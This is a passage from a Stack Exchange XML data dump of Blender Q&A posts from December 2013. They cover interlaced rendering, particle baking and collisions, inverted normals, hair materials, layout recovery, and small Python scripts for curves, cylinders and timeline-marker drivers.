LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-12-30T15:53:45.457" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5880" PostTypeId="2" ParentId="5869" CreationDate="2013-12-30T10:04:22.653" Score="2" Body="&lt;p&gt;According to &lt;a href=&quot;https://en.wikipedia.org/wiki/1080i&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wikipedia 1080i&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When 1080p material is captured at 25 or 30 frames/second it is converted to 1080i at 50 or &gt; 60 fields/second&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Thats due to the interlaced scan (as indicated by the i) the frame is rendered twice for odd and even lines. If you expect it to have 25fps you should switch to 1080p (p for progressive scan).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The format you have chosen isn't included in the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Output&quot; rel=&quot;nofollow noreferrer&quot;&gt;Render Defaults&lt;/a&gt; but here you find more downloadable presets:&lt;a href=&quot;http://wiki.blender.org/index.php/User:B-tag/extended_set_of_render_presets_for_blender&quot; rel=&quot;nofollow noreferrer&quot;&gt;extended_set_of_render_presets_for_blender &lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get a solution to your problem you should at least add the exact settings you're currently using. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I don't have 1080i footage available to test the de-interlace option in the VSE, you could give it a try:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ygt4T.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2013-12-30T16:16:35.883" LastActivityDate="2013-12-30T16:16:35.883" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5882" PostTypeId="1" AcceptedAnswerId="5884" CreationDate="2013-12-30T13:05:06.827" Score="2" ViewCount="883" Body="&lt;p&gt;I want to delete few particles from particle system. After baking the animation still I cant select particle objects, it selects all of them.&lt;/p&gt;&#xA;" OwnerUserId="1751" LastActivityDate="2013-12-30T14:16:25.550" Title="Bake particle system animation and delete few particles" Tags="&lt;particles&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5883" PostTypeId="1" CreationDate="2013-12-30T13:50:33.813" Score="5" ViewCount="1872" Body="&lt;p&gt;I’m trying to make an animation by growing a curve.  I have a python script like this, which is based on &lt;a href=&quot;http://blenderscripting.blogspot.fr/2011/05/blender-25-python-bezier-from-list-of.html&quot; rel=&quot;noreferrer&quot;&gt;http://blenderscripting.blogspot.fr/2011/05/blender-25-python-bezier-from-list-of.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from mathutils import Vector&#xA;&#xA;w = 1 # weight&#xA;Scale = 0.03&#xA;&#xA;def readCoords(filename):&#xA;    with open(filename, 'r') as File:&#xA;        Coords = [[float(x) * Scale for x in line.split()] for line in File]&#xA;        return list(map(Vector, Coords))&#xA;&#xA;ListOfVectors = readCoords(&quot;/Volumes/Stuff/3d/Lorenz/3d-data.txt&quot;)&#xA;&#xA;def makePolyLine(objname, curvename, cList):&#xA;    curvedata = bpy.data.curves.new(name=curvename, type='CURVE')&#xA;    curvedata.dimensions = '3D'&#xA;&#xA;    objectdata = bpy.data.objects.new(objname, curvedata)&#xA;    objectdata.location = (0,0,0) #object origin&#xA;    bpy.context.scene.objects.link(objectdata)&#xA;&#xA;    polyline = curvedata.splines.new('NURBS')&#xA;&#xA;    for i in range(len(cList)):&#xA;        # bpy.context.scene.frame_set(i+1)&#xA;        if i &amp;gt; 0:&#xA;            polyline.points.add(1)&#xA;        x, y, z = cList[i]&#xA;        polyline.points[i].co = (x, y, z, w)&#xA;&#xA;makePolyLine(&quot;NameOfMyCurveObject&quot;, &quot;NameOfMyCurve&quot;, ListOfVectors)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically I read the coordinates of points from a file, and add them to a curve in sequence.  My question is, how can I animate this process (eg. add 1 point per frame)?  I notice there’s a &lt;em&gt;build&lt;/em&gt; modifier, but I want precise control on this, so that I know the exact coordinate of the end of the curve at each frame.&lt;/p&gt;&#xA;" OwnerUserId="2009" LastActivityDate="2014-02-07T18:53:09.877" Title="Animation by adding points to a curve, with Python?" Tags="&lt;python&gt;&lt;animation&gt;&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5884" PostTypeId="2" ParentId="5882" CreationDate="2013-12-30T14:16:25.550" Score="6" Body="&lt;p&gt;The only way I know to edit already emitted particle objects would be to &lt;em&gt;Make Duplicates Real&lt;/em&gt; &lt;kbd&gt;Shift&lt;/kbd&gt;-&lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;A&lt;/kbd&gt; accessible in &lt;em&gt;Object Menu&lt;/em&gt; after that you could select the mesh and invoke &lt;em&gt;Separate by loose parts&lt;/em&gt; in &lt;em&gt;Edit Mode&lt;/em&gt; &lt;kbd&gt;P&lt;/kbd&gt;. This wouldn't help on animations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pI11X.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2013-12-30T14:16:25.550" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5885" PostTypeId="2" ParentId="5876" CreationDate="2013-12-30T14:21:11.823" Score="1" Body="&lt;p&gt;If some vertices are not influenced by the movement of the deformation bone probably the don't have enough weight assigned. In &lt;em&gt;Object Mode&lt;/em&gt; select the bone first than the mesh, change to &lt;em&gt;Weight Paint&lt;/em&gt; and add more weight to the vertices (blue is completly unbiased).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4htod.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2013-12-30T14:21:11.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5886" PostTypeId="2" ParentId="5834" CreationDate="2013-12-30T15:40:03.480" Score="5" Body="&lt;p&gt;&lt;strong&gt;Method 1:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Build the unstretch parts first, then bridge the loops among them:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/923un.png&quot; alt=&quot;enter image description here&quot;&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Demo file for Method 1 is &lt;a href=&quot;http://www.pasteall.org/blend/25954&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;here&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;PROS:&lt;/strong&gt; Can well satisfy what you need in this particular case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;CONS:&lt;/strong&gt; Quite a bit basic knowledge on blender is needed.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Method 2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Model stretching and unstretching units separately, then bend them individually with the same curve:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZWLa7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Demo file for Method 2 is &lt;a href=&quot;http://www.pasteall.org/blend/25957&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;here&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;PROS&lt;/strong&gt;: Relatively easy to accomplish.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;CONS&lt;/strong&gt;: Unavoidable intersections in final mesh.&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2013-12-31T08:42:32.317" LastActivityDate="2013-12-31T08:42:32.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5887" PostTypeId="1" CreationDate="2013-12-30T18:30:12.423" Score="2" ViewCount="1148" Body="&lt;p&gt;I was toggling between &lt;em&gt;layout views&lt;/em&gt; (Default, Animation, etc) and I accidentally got this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Vqh9l.png&quot; alt=&quot;snapshot&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know how to simply restore the &quot;Default&quot; layout... or any layout. Many of the interface elements are gone and I was able to bring back some by clicking &quot;maximize area&quot; in one of the tool bars&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, anyone knows a way of restoring the default layout without using the layout button?&#xA;thanks in advance!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I've tried searching and apparently no-one had this problem before...)&lt;/p&gt;&#xA;" OwnerUserId="1867" LastEditorUserId="599" LastEditDate="2013-12-30T22:56:30.227" LastActivityDate="2013-12-30T23:19:11.260" Title="Layout selector missing" Tags="&lt;interface&gt;" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="5888" PostTypeId="2" ParentId="5887" CreationDate="2013-12-30T19:07:23.237" Score="4" Body="&lt;p&gt;You have toggled the 'current' space (whichever part of the interface the cursor was in) to be full screen (&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;&amp;uarr;&lt;/kbd&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;&amp;darr;&lt;/kbd&gt; or the &lt;em&gt;Back to previous&lt;/em&gt; button that has appeared in the top toolbar (next to &lt;em&gt;Render&lt;/em&gt;, &lt;em&gt;Window&lt;/em&gt;, &lt;em&gt;Help&lt;/em&gt; etc) to restore the space to it's previous size.&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="599" LastEditDate="2013-12-30T22:54:24.107" LastActivityDate="2013-12-30T22:54:24.107" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="5889" PostTypeId="1" AcceptedAnswerId="5894" CreationDate="2013-12-30T19:31:52.400" Score="3" ViewCount="982" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XBglN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see the particles in the above image, but, despite the cube having had &quot;collision&quot; properties in the settings, it won't block the particles?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dhjlr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...and here's the physics settings I'm using.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/mrrlJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the .blend file: &lt;a href=&quot;https://drive.google.com/file/d/0ByScwSCTIaUGUkZoTXhoTFhjU3c/edit?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://drive.google.com/file/d/0ByScwSCTIaUGUkZoTXhoTFhjU3c/edit?usp=sharing&lt;/a&gt;&#xA;Many thanks&lt;/p&gt;&#xA;" OwnerUserId="1526" LastEditorUserId="1653" LastEditDate="2013-12-30T21:30:15.530" LastActivityDate="2013-12-30T22:15:27.240" Title="Why isn't the cube's collision properties working?" Tags="&lt;particles&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5891" PostTypeId="1" AcceptedAnswerId="5893" CreationDate="2013-12-30T20:34:44.710" Score="0" ViewCount="1078" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ua3JN.png&quot; alt=&quot;The Overall Result&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see above, that is my character, I modeled him, textured him, rigged him, used GLSL texturing, in the game engine, pressed &quot;P,&quot; and he looked like this. I don't know what this is, is it transparent, I don't know? Please help!&lt;/p&gt;&#xA;" OwnerUserId="1597" LastEditorUserId="14" LastEditDate="2014-01-04T15:10:27.157" LastActivityDate="2014-01-06T17:24:30.447" Title="Character texture is messed up" Tags="&lt;modeling&gt;&lt;texturing&gt;&lt;game-engine&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5892" PostTypeId="1" CreationDate="2013-12-30T21:02:50.377" Score="3" ViewCount="2157" Body="&lt;p&gt;I have Blender 2.69. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been following &lt;a href=&quot;https://www.youtube.com/watch?v=VcOzFF27OLs&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; on Youtube. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://drive.google.com/file/d/0B6xONZ2msgKHVzhfUFpJdUVWSTQ/edit?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;.blend&lt;/a&gt; file on google drive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7uKzM.jpg&quot; alt=&quot;this is my figure in the view port&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/f79BA.jpg&quot; alt=&quot;this is my figure once rendered&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what it does...&lt;/p&gt;&#xA;" OwnerUserId="2013" LastEditorUserId="22990" LastEditDate="2016-06-04T09:17:51.010" LastActivityDate="2016-06-04T09:17:51.010" Title="When rendering hair, it doesn't follow the particle edit path" Tags="&lt;rendering&gt;&lt;blender-internal-render-engine&gt;&lt;particles&gt;&lt;hair&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5893" PostTypeId="2" ParentId="5891" CreationDate="2013-12-30T21:05:35.217" Score="2" Body="&lt;p&gt;I'm 99% certain that your normals are inverted. Try the following with each object:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Select the object and tab into edit mode&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Select all of the vertices&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Use the Mesh menu to select Mesh-&gt;Normals-&gt;Recalculate Outside&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you can select a face in edit mode and press &lt;kbd&gt;ctrl&lt;/kbd&gt;&lt;kbd&gt;f&lt;/kbd&gt; to &quot;flip normals.&quot; This will just reverse whatever direction it already is, so it's not quite and handy, but it might be helpful if the first method doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The actual problem is that polygons only have one side. If they're viewed from the &quot;wrong&quot; side, they are completely invisible. So, you have to make sure that the visible side is facing out, not in. The &quot;normal&quot; is the vector that points straight out from the surface of the visible side. So, recalculating the normals so they face outside will make it look right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck!&lt;/p&gt;&#xA;" OwnerUserId="1653" LastActivityDate="2013-12-30T21:05:35.217" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5894" PostTypeId="2" ParentId="5889" CreationDate="2013-12-30T22:15:27.240" Score="5" Body="&lt;p&gt;This reproducable as Phillip Kinkade mentioned, when the particle system animation was baked without the collision object, later adding wouldn't make them collide. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Free Bake&lt;/li&gt;&#xA;&lt;li&gt;Position your collision object&lt;/li&gt;&#xA;&lt;li&gt;Bake&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZGFJS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After the three steps above no more particles will go through the cube:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/euRxf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2013-12-30T22:15:27.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5895" PostTypeId="2" ParentId="5871" CreationDate="2013-12-30T23:19:05.480" Score="0" Body="&lt;p&gt;you can move an object to another layer by: object mode + m + select the intended layer&lt;/p&gt;&#xA;&#xA;&lt;p&gt;reference: &lt;a href=&quot;http://en.wikibooks.org/wiki/Blender_3D:_Noob_to_Pro/Putting_Hat_on_Person&quot; rel=&quot;nofollow&quot;&gt;http://en.wikibooks.org/wiki/Blender_3D:_Noob_to_Pro/Putting_Hat_on_Person&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2013" LastActivityDate="2013-12-30T23:19:05.480" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5896" PostTypeId="2" ParentId="5887" CreationDate="2013-12-30T23:19:11.260" Score="1" Body="&lt;p&gt;Hey Guys I finally solved it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First i selected &quot;Load Factory Settings&quot; wich started a new normal file.&#xA;But at this point, if I was to open the file i was working on, it would load the same way, no menus, no viewports, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, instead, in the new file, I went to User Preferences/File and unchecked &quot;Load UI&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I opened my file and now it loaded normally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help anyway!&lt;/p&gt;&#xA;" OwnerUserId="1867" LastActivityDate="2013-12-30T23:19:11.260" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5897" PostTypeId="2" ParentId="5892" CreationDate="2013-12-30T23:54:59.830" Score="0" Body="&lt;p&gt;It's your hair's material, I couldn't find anything wrong with the particle system and created a new one, I only set the particle system to from emitter to hair, adjusted the length, and assigned the vertex-group for length. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After setting the matrial to index 2 (your hair color) this happened:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HpRxk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Creating a new material fixed the problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xgjEC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should simply create a new material or comare the settings with default, probably you ticked some option by accident. If this alone doesn't help, remove and add the particle system.&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2013-12-30T23:54:59.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5898" PostTypeId="1" AcceptedAnswerId="5907" CreationDate="2013-12-31T00:03:25.907" Score="8" ViewCount="9436" Body="&lt;p&gt;I want to position a cylinder such that the center of one end is at &lt;code&gt;(x0, y0, z0)&lt;/code&gt; and the center of the other end is at &lt;code&gt;(x1, y1, z1)&lt;/code&gt; using the Python API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The intention is that there will be &lt;strong&gt;two spheres centered at those coordinates and the cylinder will act as a spoke or connector between them&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess I will create the cylinder then translate, scale, rotate it. I am struggling mainly with the rotate part.&lt;/p&gt;&#xA;" OwnerUserId="2015" LastEditorUserId="3078" LastEditDate="2015-06-13T09:07:13.563" LastActivityDate="2015-06-13T09:07:13.563" Title="How can I create a cylinder linking two points with Python?" Tags="&lt;python&gt;&lt;modeling&gt;" AnswerCount="4" CommentCount="1" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5899" PostTypeId="2" ParentId="5892" CreationDate="2013-12-31T00:04:55.333" Score="2" Body="&lt;p&gt;The &lt;em&gt;Size&lt;/em&gt; settings on the material are set too large, try setting the &lt;em&gt;Root&lt;/em&gt; and &lt;em&gt;Tip&lt;/em&gt; sizes in &lt;em&gt;Material Settings &gt; Strand &gt; Size&lt;/em&gt; to smaller values:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/N3LVw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Jwuf3.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-12-31T00:17:03.470" LastActivityDate="2013-12-31T00:17:03.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5900" PostTypeId="1" AcceptedAnswerId="5902" CreationDate="2013-12-31T00:47:52.933" Score="5" ViewCount="904" Body="&lt;p&gt;I want to use timeline markers for driver expression, is it possible? And is it need to be added to &lt;code&gt;bpy.app.driver_namespace&lt;/code&gt; for quick driver add like &lt;strong&gt;#frame&lt;/strong&gt;? If yes, then how?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="90" LastActivityDate="2013-12-31T08:16:08.937" Title="Is it possible to use timeline markers for driver expression?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;drivers&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5901" PostTypeId="2" ParentId="5898" CreationDate="2013-12-31T01:48:58.307" Score="0" Body="&lt;p&gt;Considering &lt;code&gt;Cylinder&lt;/code&gt; API document: &lt;code&gt;bpy.ops.mesh.primitive_cylinder_add(vertices=32, radius=1.0, depth=2.0, end_fill_type='NGON', view_align=False, enter_editmode=False, location=(0.0, 0.0, 0.0), rotation=(0.0, 0.0, 0.0), layers=(False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False))&lt;/code&gt; apparently there is no way to construct what you want directly using cylinder parameters because there is only one point as the centre point (location) not endpoints.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;solution 1)&lt;/strong&gt; You will need to find rotations for rotation parameter of cylinder. If you have them you just simply set the location of cylinder as centre of your endpoints; set rotation values; the depth will be the distance between the endpoints.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;solution 2)&lt;/strong&gt; However, you may simply draw a line between the endpoints and apply blending. It will be a cylinder.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.curve.primitive_bezier_circle_add()    #for blending&#xA;obj = bpy.context.object&#xA;bpy.ops.curve.primitive_bezier_curve_add()     # a curve, your endpoints for example&#xA;bpy.context.object.data.bevel_object = bpy.data.objects[obj.name] #a cylinder&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1716" LastActivityDate="2013-12-31T01:48:58.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5902" PostTypeId="2" ParentId="5900" CreationDate="2013-12-31T02:58:41.683" Score="4" Body="&lt;p&gt;It is possible to use marker for rendering frame ranges, but not through driver, which is normally used to trigger &lt;em&gt;value change&lt;/em&gt; based on &lt;code&gt;Scene.frame_current&lt;/code&gt;. What you need instead, is &lt;em&gt;property manipulation&lt;/em&gt; based on &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_7/bpy.types.TimelineMarker.html#bpy.types.TimelineMarker.frame&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;TimeLineMarker.frame&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only thing you need to do is iterating over &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_7/bpy.types.Scene.html#bpy.types.Scene.timeline_markers&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;Scene.timeline_markers&lt;/code&gt;&lt;/a&gt;, because manipulation of &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_7/bpy.types.Scene.html#bpy.types.Scene.frame_start&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;Scene.frame_start&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_7/bpy.types.Scene.html#bpy.types.Scene.frame_end&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;Scene.frame_end&lt;/code&gt;&lt;/a&gt; for each render batch is already taken care of by &lt;a href=&quot;https://github.com/Roisack/batch_render&quot; rel=&quot;nofollow&quot;&gt;the addon&lt;/a&gt;. Get the list of frame ranges used by the addon, which is &lt;a href=&quot;https://github.com/Roisack/batch_render/blob/ff5499fe70e4da4bec777e1f66672455ce1fc0ef/batch_render.py#L68&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;Scene.batch_render.frame_ranges&lt;/code&gt;&lt;/a&gt;, and insert positions of the pair of markers into it. It is this last step that wouldn't be made simpler by a driver.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below's an operator for you to edit and use. It converts each pair of markers named &lt;code&gt;start&lt;/code&gt; and &lt;code&gt;end&lt;/code&gt; directly into frame ranges:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class OBJECT_OT_MarkerToFrameRanges(bpy.types.Operator):&#xA;    bl_idname = &quot;batch_render.marker_to_frame_ranges&quot;&#xA;    bl_label = &quot;Marker To Frame Ranges&quot;&#xA;&#xA;    def execute(self, context):&#xA;        batcher = context.scene.batch_render&#xA;        marker_list = sorted(context.scene.timeline_markers,&#xA;                             key=lambda x: x.frame)&#xA;        marker_frame_ranges = []&#xA;&#xA;        for marker in marker_list:&#xA;            if marker.name == 'start':&#xA;                marker_frame_ranges.append({'start': marker.frame})&#xA;            elif marker.name == 'end':&#xA;                range_dict = marker_frame_ranges[-1] if marker_frame_ranges\&#xA;                    else {}                &#xA;                range_dict['end'] = marker.frame&#xA;&#xA;        for index, range_dict in enumerate(marker_frame_ranges):&#xA;            marker_start = range_dict.get('start', 0)&#xA;            marker_end = range_dict.get('end', context.scene.frame_end)&#xA;&#xA;            if index &amp;gt;= len(batcher.frame_ranges):&#xA;                bpy.ops.batch_render.add_new()&#xA;&#xA;            batcher.frame_ranges[index].start_frame = marker_start&#xA;            batcher.frame_ranges[index].end_frame = marker_end&#xA;&#xA;        return {'FINISHED'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; To strictly answer your question: &lt;em&gt;Yes&lt;/em&gt;, it is possible to use timeline marker for driver expression. The function below will return &lt;code&gt;True&lt;/code&gt; only if there's a marker at the current frame:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def any_marker_at_frame():&#xA;    frame_current = bpy.context.scene.frame_current&#xA;    markers = bpy.context.scene.timeline_markers&#xA;&#xA;    for m in markers:&#xA;        if m.frame == frame_current:&#xA;            return True&#xA;    return False&#xA;&#xA;bpy.app.driver_namespace['any_marker_at_frame'] = any_marker_at_frame&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can then use &lt;code&gt;any_marker_at_frame()&lt;/code&gt; in your scripted expression.&lt;/p&gt;&#xA;" OwnerUserId="185" LastEditorUserId="185" LastEditDate="2013-12-31T08:16:08.937" LastActivityDate="2013-12-31T08:16:08.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5903" PostTypeId="1" CreationDate="2013-12-31T03:39:24.433" Score="4" ViewCount="7342" Body="&lt;p&gt;I have just recently sculpted a Mesh Helmet model and I am needing it to export it for another program. When I switch the mesh into edit mode it turns into its original starting cube. Going into sculpt mode again returns it to my helmet. I didn't think it was an issue, but when I exported it into a &lt;code&gt;.dae&lt;/code&gt; file it came out as the cube instead of the helmet. How do I make the helmet show up correctly in Edit mode and the &lt;code&gt;.dae&lt;/code&gt; file instead of the cube?&lt;/p&gt;&#xA;" OwnerUserId="2016" LastEditorUserId="743" LastEditDate="2013-12-31T06:49:59.990" LastActivityDate="2014-01-01T09:02:02.923" Title="Sculpted object turns into a cube when I enter edit mode" Tags="&lt;mesh&gt;&lt;objects&gt;&lt;sculpting&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
